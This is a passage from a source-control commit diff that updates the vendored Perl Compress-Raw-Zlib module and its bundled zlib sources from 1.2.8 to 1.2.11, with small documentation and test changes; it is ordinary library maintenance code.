 The C<LimitOutput> option is designed to help with this use-case.
 
@@ -1567,7 +1567,7 @@
 L<Archive::Tar|Archive::Tar>,
 L<IO::Zlib|IO::Zlib>
 
-For RFC 1950, 1951 and 1952 see 
+For RFC 1950, 1951 and 1952 see
 L<http://www.faqs.org/rfcs/rfc1950.html>,
 L<http://www.faqs.org/rfcs/rfc1951.html> and
 L<http://www.faqs.org/rfcs/rfc1952.html>
@@ -1582,7 +1582,7 @@
 
 =head1 AUTHOR
 
-This module was written by Paul Marquess, C<pmqs at cpan.org>. 
+This module was written by Paul Marquess, C<pmqs at cpan.org>.
 
 =head1 MODIFICATION HISTORY
 

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/t/02zlib.t
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/t/02zlib.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/t/02zlib.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,13 +24,13 @@
 
     my $count = 0 ;
     if ($] < 5.005) {
-        $count = 232 ;
+        $count = 237 ;
     }
     elsif ($] >= 5.006) {
-        $count = 320 ;
+        $count = 325 ;
     }
     else {
-        $count = 275 ;
+        $count = 280 ;
     }
 
     plan tests => $count + $extra;
@@ -947,6 +947,33 @@
     is $X, "", "no output from second flush";
 }
 
+{
+    title "crc32";
+
+    is eval('Compress::Raw::Zlib::crc32("A" x 0x100, 0, 0x100); 0x1234'), 0x1234;
+    is $@,  '';
+
+    is eval('Compress::Raw::Zlib::crc32("A" x 0x100, 0, 0x101); 0x1234'), undef;
+    like $@,  mkErr("^Offset out of range in Compress::Raw::Zlib::crc32") ;
+
+}
+
+if (0)
+{
+    title "RT #122695: sync flush appending extra empty uncompressed block";
+
+    my $hello = "I am a HAL 9000 computer" ;
+    my ($err, $x, $X, $status); 
+ 
+    ok( ($x, $err) = new Compress::Raw::Zlib::Deflate ( ), "Create deflate object" );
+    isa_ok $x, "Compress::Raw::Zlib::deflateStream" ;
+    cmp_ok $err, '==', Z_OK, "status is Z_OK" ;
+    
+    cmp_ok  $x->flush($X, Z_SYNC_FLUSH), '==', Z_OK, "flush returned Z_OK" ;    
+    cmp_ok  $x->flush($X, Z_SYNC_FLUSH), '==', Z_OK, "second flush returned Z_OK" ; 
+    is $X, "", "no output from second flush";
+}
+
 exit if $] < 5.006 ;
 
 title 'Looping Append test with substr output - substr the end of the string';

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/typemap
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/typemap	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/typemap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,8 @@
 char *			        T_PV
 uLong				T_UV
 z_off_t				T_UV
-DualType                	T_DUAL
+STRLEN				T_UV
+DualType            T_DUAL
 int_undef           T_IV_undef
 
 

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/adler32.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/adler32.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/adler32.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* adler32.c -- compute the Adler-32 checksum of a data stream
- * Copyright (C) 1995-2011 Mark Adler
+ * Copyright (C) 1995-2011, 2016 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -7,11 +7,9 @@
 
 #include "zutil.h"
 
-#define local static
-
 local uLong adler32_combine_ OF((uLong adler1, uLong adler2, z_off64_t len2));
 
-#define BASE 65521      /* largest prime smaller than 65536 */
+#define BASE 65521U     /* largest prime smaller than 65536 */
 #define NMAX 5552
 /* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */
 
@@ -62,10 +60,10 @@
 #endif
 
 /* ========================================================================= */
-uLong ZEXPORT adler32(
+uLong ZEXPORT adler32_z(
     uLong adler,
     const Bytef *buf,
-    uInt len)
+    z_size_t len)
 {
     unsigned long sum2;
     unsigned n;
@@ -133,6 +131,15 @@
 }
 
 /* ========================================================================= */
+uLong ZEXPORT adler32(
+    uLong adler,
+    const Bytef *buf,
+    uInt len)
+{
+    return adler32_z(adler, buf, len);
+}
+
+/* ========================================================================= */
 local uLong adler32_combine_(
     uLong adler1,
     uLong adler2,
@@ -156,7 +163,7 @@
     sum2 += ((adler1 >> 16) & 0xffff) + ((adler2 >> 16) & 0xffff) + BASE - rem;
     if (sum1 >= BASE) sum1 -= BASE;
     if (sum1 >= BASE) sum1 -= BASE;
-    if (sum2 >= (BASE << 1)) sum2 -= (BASE << 1);
+    if (sum2 >= ((unsigned long)BASE << 1)) sum2 -= ((unsigned long)BASE << 1);
     if (sum2 >= BASE) sum2 -= BASE;
     return sum1 | (sum2 << 16);
 }

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/compress.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/compress.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/compress.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* compress.c -- compress a memory buffer
- * Copyright (C) 1995-2005 Jean-loup Gailly.
+ * Copyright (C) 1995-2005, 2014, 2016 Jean-loup Gailly, Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -28,16 +28,11 @@
 {
     z_stream stream;
     int err;
+    const uInt max = (uInt)-1;
+    uLong left;
 
-    stream.next_in = (z_const Bytef *)source;
-    stream.avail_in = (uInt)sourceLen;
-#ifdef MAXSEG_64K
-    /* Check for source > 64K on 16-bit machine: */
-    if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;
-#endif
-    stream.next_out = dest;
-    stream.avail_out = (uInt)*destLen;
-    if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;
+    left = *destLen;
+    *destLen = 0;
 
     stream.zalloc = (alloc_func)0;
     stream.zfree = (free_func)0;
@@ -46,15 +41,26 @@
     err = deflateInit(&stream, level);
     if (err != Z_OK) return err;
 
-    err = deflate(&stream, Z_FINISH);
-    if (err != Z_STREAM_END) {
-        deflateEnd(&stream);
-        return err == Z_OK ? Z_BUF_ERROR : err;
-    }
+    stream.next_out = dest;
+    stream.avail_out = 0;
+    stream.next_in = (z_const Bytef *)source;
+    stream.avail_in = 0;
+
+    do {
+        if (stream.avail_out == 0) {
+            stream.avail_out = left > (uLong)max ? max : (uInt)left;
+            left -= stream.avail_out;
+        }
+        if (stream.avail_in == 0) {
+            stream.avail_in = sourceLen > (uLong)max ? max : (uInt)sourceLen;
+            sourceLen -= stream.avail_in;
+        }
+        err = deflate(&stream, sourceLen ? Z_NO_FLUSH : Z_FINISH);
+    } while (err == Z_OK);
+
     *destLen = stream.total_out;
-
-    err = deflateEnd(&stream);
-    return err;
+    deflateEnd(&stream);
+    return err == Z_STREAM_END ? Z_OK : err;
 }
 
 /* ===========================================================================

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/crc32.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/crc32.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/crc32.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* crc32.c -- compute the CRC-32 of a data stream
- * Copyright (C) 1995-2006, 2010, 2011, 2012 Mark Adler
+ * Copyright (C) 1995-2006, 2010, 2011, 2012, 2016 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  *
  * Thanks to Rodney Brown <rbrown64 at csc.com.au> for his contribution of faster
@@ -30,8 +30,6 @@
 
 #include "zutil.h"      /* for STDC and FAR definitions */
 
-#define local static
-
 /* Definitions for doing the crc four data bytes at a time. */
 #if !defined(NOBYFOUR) && defined(Z_U4)
 #  define BYFOUR
@@ -38,9 +36,9 @@
 #endif
 #ifdef BYFOUR
    local unsigned long crc32_little OF((unsigned long,
-                        const unsigned char FAR *, unsigned));
+                        const unsigned char FAR *, z_size_t));
    local unsigned long crc32_big OF((unsigned long,
-                        const unsigned char FAR *, unsigned));
+                        const unsigned char FAR *, z_size_t));
 #  define TBLS 8
 #else
 #  define TBLS 1
@@ -201,10 +199,10 @@
 #define DO8 DO1; DO1; DO1; DO1; DO1; DO1; DO1; DO1
 
 /* ========================================================================= */
-unsigned long ZEXPORT crc32(
+unsigned long ZEXPORT crc32_z(
     unsigned long crc,
     const unsigned char FAR *buf,
-    uInt len)
+    z_size_t len)
 {
     if (buf == Z_NULL) return 0UL;
 
@@ -235,8 +233,29 @@
     return crc ^ 0xffffffffUL;
 }
 
+/* ========================================================================= */
+unsigned long ZEXPORT crc32(
+    unsigned long crc,
+    const unsigned char FAR *buf,
+    uInt len)
+{
+    return crc32_z(crc, buf, len);
+}
+
 #ifdef BYFOUR
 
+/*
+   This BYFOUR code accesses the passed unsigned char * buffer with a 32-bit
+   integer pointer type. This violates the strict aliasing rule, where a
+   compiler can assume, for optimization purposes, that two pointers to
+   fundamentally different types won't ever point to the same memory. This can
+   manifest as a problem only if one of the pointers is written to. This code
+   only reads from those pointers. So long as this code remains isolated in
+   this compilation unit, there won't be a problem. For this reason, this code
+   should not be copied and pasted into a compilation unit in which other code
+   writes to the buffer that is passed to these routines.
+ */
+
 /* ========================================================================= */
 #define DOLIT4 c ^= *buf4++; \
         c = crc_table[3][c & 0xff] ^ crc_table[2][(c >> 8) & 0xff] ^ \
@@ -247,7 +266,7 @@
 local unsigned long crc32_little(
     unsigned long crc,
     const unsigned char FAR *buf,
-    unsigned len)
+    z_size_t len)
 {
     register z_crc_t c;
     register const z_crc_t FAR *buf4;
@@ -278,7 +297,7 @@
 }
 
 /* ========================================================================= */
-#define DOBIG4 c ^= *++buf4; \
+#define DOBIG4 c ^= *buf4++; \
         c = crc_table[4][c & 0xff] ^ crc_table[5][(c >> 8) & 0xff] ^ \
             crc_table[6][(c >> 16) & 0xff] ^ crc_table[7][c >> 24]
 #define DOBIG32 DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4
@@ -287,7 +306,7 @@
 local unsigned long crc32_big(
     unsigned long crc,
     const unsigned char FAR *buf,
-    unsigned len)
+    z_size_t len)
 {
     register z_crc_t c;
     register const z_crc_t FAR *buf4;
@@ -300,7 +319,6 @@
     }
 
     buf4 = (const z_crc_t FAR *)(const void FAR *)buf;
-    buf4--;
     while (len >= 32) {
         DOBIG32;
         len -= 32;
@@ -309,7 +327,6 @@
         DOBIG4;
         len -= 4;
     }
-    buf4++;
     buf = (const unsigned char FAR *)buf4;
 
     if (len) do {

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* deflate.c -- compress data using the deflation algorithm
- * Copyright (C) 1995-2013 Jean-loup Gailly and Mark Adler
+ * Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -52,7 +52,7 @@
 #include "deflate.h"
 
 const char deflate_copyright[] =
-   " deflate 1.2.8 Copyright 1995-2013 Jean-loup Gailly and Mark Adler ";
+   " deflate 1.2.11 Copyright 1995-2017 Jean-loup Gailly and Mark Adler ";
 /*
   If you use the zlib library in a product, an acknowledgment is welcome
   in the documentation of your product. If for some reason you cannot
@@ -73,6 +73,8 @@
 typedef block_state (*compress_func) OF((deflate_state *s, int flush));
 /* Compression function. Returns the block state after the call. */
 
+local int deflateStateCheck      OF((z_streamp strm));
+local void slide_hash     OF((deflate_state *s));
 local void fill_window    OF((deflate_state *s));
 local block_state deflate_stored OF((deflate_state *s, int flush));
 local block_state deflate_fast   OF((deflate_state *s, int flush));
@@ -84,8 +86,9 @@
 local void lm_init        OF((deflate_state *s));
 local void putShortMSB    OF((deflate_state *s, uInt b));
 local void flush_pending  OF((z_streamp strm));
-local int read_buf        OF((z_streamp strm, Bytef *buf, unsigned size));
+local unsigned read_buf   OF((z_streamp strm, Bytef *buf, unsigned size));
 #ifdef ASMV
+#  pragma message("Assembler code may have bugs -- use at your own risk")
       void match_init OF((void)); /* asm code initialization */
       uInt longest_match  OF((deflate_state *s, IPos cur_match));
 #else
@@ -92,7 +95,7 @@
 local uInt longest_match  OF((deflate_state *s, IPos cur_match));
 #endif
 
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
 local  void check_match OF((deflate_state *s, IPos start, IPos match,
                             int length));
 #endif
@@ -148,21 +151,14 @@
  * meaning.
  */
 
-#define EQUAL 0
-/* result of memcmp for equal strings */
-
-#ifndef NO_DUMMY_DECL
-struct static_tree_desc_s {int dummy;}; /* for buggy compilers */
-#endif
-
 /* rank Z_BLOCK between Z_NO_FLUSH and Z_PARTIAL_FLUSH */
 #define RANK(f) (((f) * 2) - ((f) > 4 ? 9 : 0))
 
 /* ===========================================================================
  * Update a hash value with the given input byte
- * IN  assertion: all calls to to UPDATE_HASH are made with consecutive
- *    input characters, so that a running hash key can be computed from the
- *    previous key instead of complete recalculation each time.
+ * IN  assertion: all calls to UPDATE_HASH are made with consecutive input
+ *    characters, so that a running hash key can be computed from the previous
+ *    key instead of complete recalculation each time.
  */
 #define UPDATE_HASH(s,h,c) (h = (((h)<<s->hash_shift) ^ (c)) & s->hash_mask)
 
@@ -173,9 +169,9 @@
  * the previous length of the hash chain.
  * If this file is compiled with -DFASTEST, the compression level is forced
  * to 1, and no hash chains are maintained.
- * IN  assertion: all calls to to INSERT_STRING are made with consecutive
- *    input characters and the first MIN_MATCH bytes of str are valid
- *    (except for the last MIN_MATCH-1 bytes of the input file).
+ * IN  assertion: all calls to INSERT_STRING are made with consecutive input
+ *    characters and the first MIN_MATCH bytes of str are valid (except for
+ *    the last MIN_MATCH-1 bytes of the input file).
  */
 #ifdef FASTEST
 #define INSERT_STRING(s, str, match_head) \
@@ -197,6 +193,37 @@
     s->head[s->hash_size-1] = NIL; \
     zmemzero((Bytef *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head));
 
+/* ===========================================================================
+ * Slide the hash table when sliding the window down (could be avoided with 32
+ * bit values at the expense of memory usage). We slide even when level == 0 to
+ * keep the hash table consistent if we switch back to level > 0 later.
+ */
+local void slide_hash(
+    deflate_state *s)
+{
+    unsigned n, m;
+    Posf *p;
+    uInt wsize = s->w_size;
+
+    n = s->hash_size;
+    p = &s->head[n];
+    do {
+        m = *--p;
+        *p = (Pos)(m >= wsize ? m - wsize : NIL);
+    } while (--n);
+    n = wsize;
+#ifndef FASTEST
+    p = &s->prev[n];
+    do {
+        m = *--p;
+        *p = (Pos)(m >= wsize ? m - wsize : NIL);
+        /* If n is not on any hash chain, prev[n] is garbage but
+         * its value will never be used.
+         */
+    } while (--n);
+#endif
+}
+
 /* ========================================================================= */
 int ZEXPORT deflateInit_(
     z_streamp strm,
@@ -269,7 +296,7 @@
 #endif
     if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED ||
         windowBits < 8 || windowBits > 15 || level < 0 || level > 9 ||
-        strategy < 0 || strategy > Z_FIXED) {
+        strategy < 0 || strategy > Z_FIXED || (windowBits == 8 && wrap != 1)) {
         return Z_STREAM_ERROR;
     }
     if (windowBits == 8) windowBits = 9;  /* until 256-byte window bug fixed */
@@ -277,14 +304,15 @@
     if (s == Z_NULL) return Z_MEM_ERROR;
     strm->state = (struct internal_state FAR *)s;
     s->strm = strm;
+    s->status = INIT_STATE;     /* to pass state test in deflateReset() */
 
     s->wrap = wrap;
     s->gzhead = Z_NULL;
-    s->w_bits = windowBits;
+    s->w_bits = (uInt)windowBits;
     s->w_size = 1 << s->w_bits;
     s->w_mask = s->w_size - 1;
 
-    s->hash_bits = memLevel + 7;
+    s->hash_bits = (uInt)memLevel + 7;
     s->hash_size = 1 << s->hash_bits;
     s->hash_mask = s->hash_size - 1;
     s->hash_shift =  ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH);
@@ -318,6 +346,31 @@
     return deflateReset(strm);
 }
 
+/* =========================================================================
+ * Check for a valid deflate stream state. Return 0 if ok, 1 if not.
+ */
+local int deflateStateCheck (
+    z_streamp strm)
+{
+    deflate_state *s;
+    if (strm == Z_NULL ||
+        strm->zalloc == (alloc_func)0 || strm->zfree == (free_func)0)
+        return 1;
+    s = strm->state;
+    if (s == Z_NULL || s->strm != strm || (s->status != INIT_STATE &&
+#ifdef GZIP
+                                           s->status != GZIP_STATE &&
+#endif
+                                           s->status != EXTRA_STATE &&
+                                           s->status != NAME_STATE &&
+                                           s->status != COMMENT_STATE &&
+                                           s->status != HCRC_STATE &&
+                                           s->status != BUSY_STATE &&
+                                           s->status != FINISH_STATE))
+        return 1;
+    return 0;
+}
+
 /* ========================================================================= */
 int ZEXPORT deflateSetDictionary (
     z_streamp strm,
@@ -330,7 +383,7 @@
     unsigned avail;
     z_const unsigned char *next;
 
-    if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL)
+    if (deflateStateCheck(strm) || dictionary == Z_NULL)
         return Z_STREAM_ERROR;
     s = strm->state;
     wrap = s->wrap;
@@ -388,13 +441,34 @@
 }
 
 /* ========================================================================= */
+int ZEXPORT deflateGetDictionary (
+    z_streamp strm,
+    Bytef *dictionary,
+    uInt  *dictLength)
+{
+    deflate_state *s;
+    uInt len;
+
+    if (deflateStateCheck(strm))
+        return Z_STREAM_ERROR;
+    s = strm->state;
+    len = s->strstart + s->lookahead;
+    if (len > s->w_size)
+        len = s->w_size;
+    if (dictionary != Z_NULL && len)
+        zmemcpy(dictionary, s->window + s->strstart + s->lookahead - len, len);
+    if (dictLength != Z_NULL)
+        *dictLength = len;
+    return Z_OK;
+}
+
+/* ========================================================================= */
 int ZEXPORT deflateResetKeep (
     z_streamp strm)
 {
     deflate_state *s;
 
-    if (strm == Z_NULL || strm->state == Z_NULL ||
-        strm->zalloc == (alloc_func)0 || strm->zfree == (free_func)0) {
+    if (deflateStateCheck(strm)) {
         return Z_STREAM_ERROR;
     }
 
@@ -409,7 +483,11 @@
     if (s->wrap < 0) {
         s->wrap = -s->wrap; /* was made negative by deflate(..., Z_FINISH); */
     }
-    s->status = s->wrap ? INIT_STATE : BUSY_STATE;
+    s->status =
+#ifdef GZIP
+        s->wrap == 2 ? GZIP_STATE :
+#endif
+        s->wrap ? INIT_STATE : BUSY_STATE;
     strm->adler =
 #ifdef GZIP
         s->wrap == 2 ? crc32(0L, Z_NULL, 0) :
@@ -439,8 +517,8 @@
     z_streamp strm,
     gz_headerp head)
 {
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
-    if (strm->state->wrap != 2) return Z_STREAM_ERROR;
+    if (deflateStateCheck(strm) || strm->state->wrap != 2)
+        return Z_STREAM_ERROR;
     strm->state->gzhead = head;
     return Z_OK;
 }
@@ -451,7 +529,7 @@
     unsigned *pending,
     int *bits)
 {
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (deflateStateCheck(strm)) return Z_STREAM_ERROR;
     if (pending != Z_NULL)
         *pending = strm->state->pending;
     if (bits != Z_NULL)
@@ -468,7 +546,7 @@
     deflate_state *s;
     int put;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (deflateStateCheck(strm)) return Z_STREAM_ERROR;
     s = strm->state;
     if ((Bytef *)(s->d_buf) < s->pending_out + ((Buf_size + 7) >> 3))
         return Z_BUF_ERROR;
@@ -493,9 +571,8 @@
 {
     deflate_state *s;
     compress_func func;
-    int err = Z_OK;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (deflateStateCheck(strm)) return Z_STREAM_ERROR;
     s = strm->state;
 
 #ifdef FASTEST
@@ -509,13 +586,22 @@
     func = configuration_table[s->level].func;
 
     if ((strategy != s->strategy || func != configuration_table[level].func) &&
-        strm->total_in != 0) {
+        s->high_water) {
         /* Flush the last buffer: */
-        err = deflate(strm, Z_BLOCK);
-        if (err == Z_BUF_ERROR && s->pending == 0)
-            err = Z_OK;
+        int err = deflate(strm, Z_BLOCK);
+        if (err == Z_STREAM_ERROR)
+            return err;
+        if (strm->avail_out == 0)
+            return Z_BUF_ERROR;
     }
     if (s->level != level) {
+        if (s->level == 0 && s->matches != 0) {
+            if (s->matches == 1)
+                slide_hash(s);
+            else
+                CLEAR_HASH(s);
+            s->matches = 0;
+        }
         s->level = level;
         s->max_lazy_match   = configuration_table[level].max_lazy;
         s->good_match       = configuration_table[level].good_length;
@@ -523,7 +609,7 @@
         s->max_chain_length = configuration_table[level].max_chain;
     }
     s->strategy = strategy;
-    return err;
+    return Z_OK;
 }
 
 /* ========================================================================= */
@@ -536,12 +622,12 @@
 {
     deflate_state *s;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (deflateStateCheck(strm)) return Z_STREAM_ERROR;
     s = strm->state;
-    s->good_match = good_length;
-    s->max_lazy_match = max_lazy;
+    s->good_match = (uInt)good_length;
+    s->max_lazy_match = (uInt)max_lazy;
     s->nice_match = nice_length;
-    s->max_chain_length = max_chain;
+    s->max_chain_length = (uInt)max_chain;
     return Z_OK;
 }
 
@@ -568,7 +654,6 @@
 {
     deflate_state *s;
     uLong complen, wraplen;
-    Bytef *str;
 
     /* conservative upper bound for compressed data */
     complen = sourceLen +
@@ -575,7 +660,7 @@
               ((sourceLen + 7) >> 3) + ((sourceLen + 63) >> 6) + 5;
 
     /* if can't get parameters, return conservative bound plus zlib wrapper */
-    if (strm == Z_NULL || strm->state == Z_NULL)
+    if (deflateStateCheck(strm))
         return complen + 6;
 
     /* compute wrapper length */
@@ -587,9 +672,11 @@
     case 1:                                 /* zlib wrapper */
         wraplen = 6 + (s->strstart ? 4 : 0);
         break;
+#ifdef GZIP
     case 2:                                 /* gzip wrapper */
         wraplen = 18;
         if (s->gzhead != Z_NULL) {          /* user-supplied gzip header */
+            Bytef *str;
             if (s->gzhead->extra != Z_NULL)
                 wraplen += 2 + s->gzhead->extra_len;
             str = s->gzhead->name;
@@ -606,6 +693,7 @@
                 wraplen += 2;
         }
         break;
+#endif
     default:                                /* for compiler happiness */
         wraplen = 6;
     }
@@ -633,10 +721,10 @@
 }
 
 /* =========================================================================
- * Flush as much pending output as possible. All deflate() output goes
- * through this function so some applications may wish to modify it
- * to avoid allocating a large strm->next_out buffer and copying into it.
- * (See also read_buf()).
+ * Flush as much pending output as possible. All deflate() output, except for
+ * some deflate_stored() output, goes through this function so some
+ * applications may wish to modify it to avoid allocating a large
+ * strm->next_out buffer and copying into it. (See also read_buf()).
  */
 local void flush_pending(
     z_streamp strm)
@@ -653,13 +741,23 @@
     strm->next_out  += len;
     s->pending_out  += len;
     strm->total_out += len;
-    strm->avail_out  -= len;
-    s->pending -= len;
+    strm->avail_out -= len;
+    s->pending      -= len;
     if (s->pending == 0) {
         s->pending_out = s->pending_buf;
     }
 }
 
+/* ===========================================================================
+ * Update the header CRC with the bytes s->pending_buf[beg..s->pending - 1].
+ */
+#define HCRC_UPDATE(beg) \
+    do { \
+        if (s->gzhead->hcrc && s->pending > (beg)) \
+            strm->adler = crc32(strm->adler, s->pending_buf + (beg), \
+                                s->pending - (beg)); \
+    } while (0)
+
 /* ========================================================================= */
 int ZEXPORT deflate (
     z_streamp strm,
@@ -668,231 +766,230 @@
     int old_flush; /* value of flush param for previous deflate call */
     deflate_state *s;
 
-    if (strm == Z_NULL || strm->state == Z_NULL ||
-        flush > Z_BLOCK || flush < 0) {
+    if (deflateStateCheck(strm) || flush > Z_BLOCK || flush < 0) {
         return Z_STREAM_ERROR;
     }
     s = strm->state;
 
     if (strm->next_out == Z_NULL ||
-        (strm->next_in == Z_NULL && strm->avail_in != 0) ||
+        (strm->avail_in != 0 && strm->next_in == Z_NULL) ||
         (s->status == FINISH_STATE && flush != Z_FINISH)) {
         ERR_RETURN(strm, Z_STREAM_ERROR);
     }
     if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR);
 
-    s->strm = strm; /* just in case */
     old_flush = s->last_flush;
     s->last_flush = flush;
 
+    /* Flush as much pending output as possible */
+    if (s->pending != 0) {
+        flush_pending(strm);
+        if (strm->avail_out == 0) {
+            /* Since avail_out is 0, deflate will be called again with
+             * more output space, but possibly with both pending and
+             * avail_in equal to zero. There won't be anything to do,
+             * but this is not an error situation so make sure we
+             * return OK instead of BUF_ERROR at next call of deflate:
+             */
+            s->last_flush = -1;
+            return Z_OK;
+        }
+
+    /* Make sure there is something to do and avoid duplicate consecutive
+     * flushes. For repeated and useless calls with Z_FINISH, we keep
+     * returning Z_STREAM_END instead of Z_BUF_ERROR.
+     */
+    } else if (strm->avail_in == 0 && RANK(flush) <= RANK(old_flush) &&
+               flush != Z_FINISH) {
+        ERR_RETURN(strm, Z_BUF_ERROR);
+    }
+
+    /* User must not provide more input after the first FINISH: */
+    if (s->status == FINISH_STATE && strm->avail_in != 0) {
+        ERR_RETURN(strm, Z_BUF_ERROR);
+    }
+
     /* Write the header */
     if (s->status == INIT_STATE) {
-#ifdef GZIP
-        if (s->wrap == 2) {
-            strm->adler = crc32(0L, Z_NULL, 0);
-            put_byte(s, 31);
-            put_byte(s, 139);
-            put_byte(s, 8);
-            if (s->gzhead == Z_NULL) {
-                put_byte(s, 0);
-                put_byte(s, 0);
-                put_byte(s, 0);
-                put_byte(s, 0);
-                put_byte(s, 0);
-                put_byte(s, s->level == 9 ? 2 :
-                            (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ?
-                             4 : 0));
-                put_byte(s, OS_CODE);
-                s->status = BUSY_STATE;
-            }
-            else {
-                put_byte(s, (s->gzhead->text ? 1 : 0) +
-                            (s->gzhead->hcrc ? 2 : 0) +
-                            (s->gzhead->extra == Z_NULL ? 0 : 4) +
-                            (s->gzhead->name == Z_NULL ? 0 : 8) +
-                            (s->gzhead->comment == Z_NULL ? 0 : 16)
-                        );
-                put_byte(s, (Byte)(s->gzhead->time & 0xff));
-                put_byte(s, (Byte)((s->gzhead->time >> 8) & 0xff));
-                put_byte(s, (Byte)((s->gzhead->time >> 16) & 0xff));
-                put_byte(s, (Byte)((s->gzhead->time >> 24) & 0xff));
-                put_byte(s, s->level == 9 ? 2 :
-                            (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ?
-                             4 : 0));
-                put_byte(s, s->gzhead->os & 0xff);
-                if (s->gzhead->extra != Z_NULL) {
-                    put_byte(s, s->gzhead->extra_len & 0xff);
-                    put_byte(s, (s->gzhead->extra_len >> 8) & 0xff);
-                }
-                if (s->gzhead->hcrc)
-                    strm->adler = crc32(strm->adler, s->pending_buf,
-                                        s->pending);
-                s->gzindex = 0;
-                s->status = EXTRA_STATE;
-            }
-        }
+        /* zlib header */
+        uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8;
+        uInt level_flags;
+
+        if (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2)
+            level_flags = 0;
+        else if (s->level < 6)
+            level_flags = 1;
+        else if (s->level == 6)
+            level_flags = 2;
         else
-#endif
-        {
-            uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8;
-            uInt level_flags;
+            level_flags = 3;
+        header |= (level_flags << 6);
+        if (s->strstart != 0) header |= PRESET_DICT;
+        header += 31 - (header % 31);
 
-            if (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2)
-                level_flags = 0;
-            else if (s->level < 6)
-                level_flags = 1;
-            else if (s->level == 6)
-                level_flags = 2;
-            else
-                level_flags = 3;
-            header |= (level_flags << 6);
-            if (s->strstart != 0) header |= PRESET_DICT;
-            header += 31 - (header % 31);
+        putShortMSB(s, header);
 
+        /* Save the adler32 of the preset dictionary: */
+        if (s->strstart != 0) {
+            putShortMSB(s, (uInt)(strm->adler >> 16));
+            putShortMSB(s, (uInt)(strm->adler & 0xffff));
+        }
+        strm->adler = adler32(0L, Z_NULL, 0);
+        s->status = BUSY_STATE;
+
+        /* Compression must start with an empty pending buffer */
+        flush_pending(strm);
+        if (s->pending != 0) {
+            s->last_flush = -1;
+            return Z_OK;
+        }
+    }
+#ifdef GZIP
+    if (s->status == GZIP_STATE) {
+        /* gzip header */
+        strm->adler = crc32(0L, Z_NULL, 0);
+        put_byte(s, 31);
+        put_byte(s, 139);
+        put_byte(s, 8);
+        if (s->gzhead == Z_NULL) {
+            put_byte(s, 0);
+            put_byte(s, 0);
+            put_byte(s, 0);
+            put_byte(s, 0);
+            put_byte(s, 0);
+            put_byte(s, s->level == 9 ? 2 :
+                     (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ?
+                      4 : 0));
+            put_byte(s, OS_CODE);
             s->status = BUSY_STATE;
-            putShortMSB(s, header);
 
-            /* Save the adler32 of the preset dictionary: */
-            if (s->strstart != 0) {
-                putShortMSB(s, (uInt)(strm->adler >> 16));
-                putShortMSB(s, (uInt)(strm->adler & 0xffff));
+            /* Compression must start with an empty pending buffer */
+            flush_pending(strm);
+            if (s->pending != 0) {
+                s->last_flush = -1;
+                return Z_OK;
             }
-            strm->adler = adler32(0L, Z_NULL, 0);
         }
+        else {
